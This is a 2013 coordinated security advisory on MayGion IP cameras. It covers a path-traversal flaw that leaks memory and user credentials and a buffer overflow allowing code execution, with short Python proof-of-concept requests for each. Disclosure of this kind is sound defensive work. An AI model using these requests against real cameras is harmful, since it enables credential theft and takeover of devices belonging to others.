MayGion IP Cameras multiple vulnerabilities
1. Advisory Information
Title: MayGion IP Cameras multiple vulnerabilities
Advisory ID: CORE-2013-0322
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: MayGion
Release mode: Coordinated release
2. Vulnerability Information
Class: Path traversal [CWE-22], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1604, CVE-2013-1605
3. Vulnerability Description
Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-1604] to dump the camera's memory and retrieve user credentials,
- [CVE-2013-1605] to execute arbitrary code.
4. Vulnerable Packages
- MayGion IP cameras based on firmware 2011.27.09.
- Other firmware versions are probably affected too but they were not checked.
5. Non-Vulnerable Packages
- H.264 ipcam firmware 2013.04.22.
6. Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team.
7. Technical Description / Proof of Concept Code
7.1. User Credentials Leaked via Path Traversal
[CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker.
import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close()
7.2. Buffer overflow
[CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close()
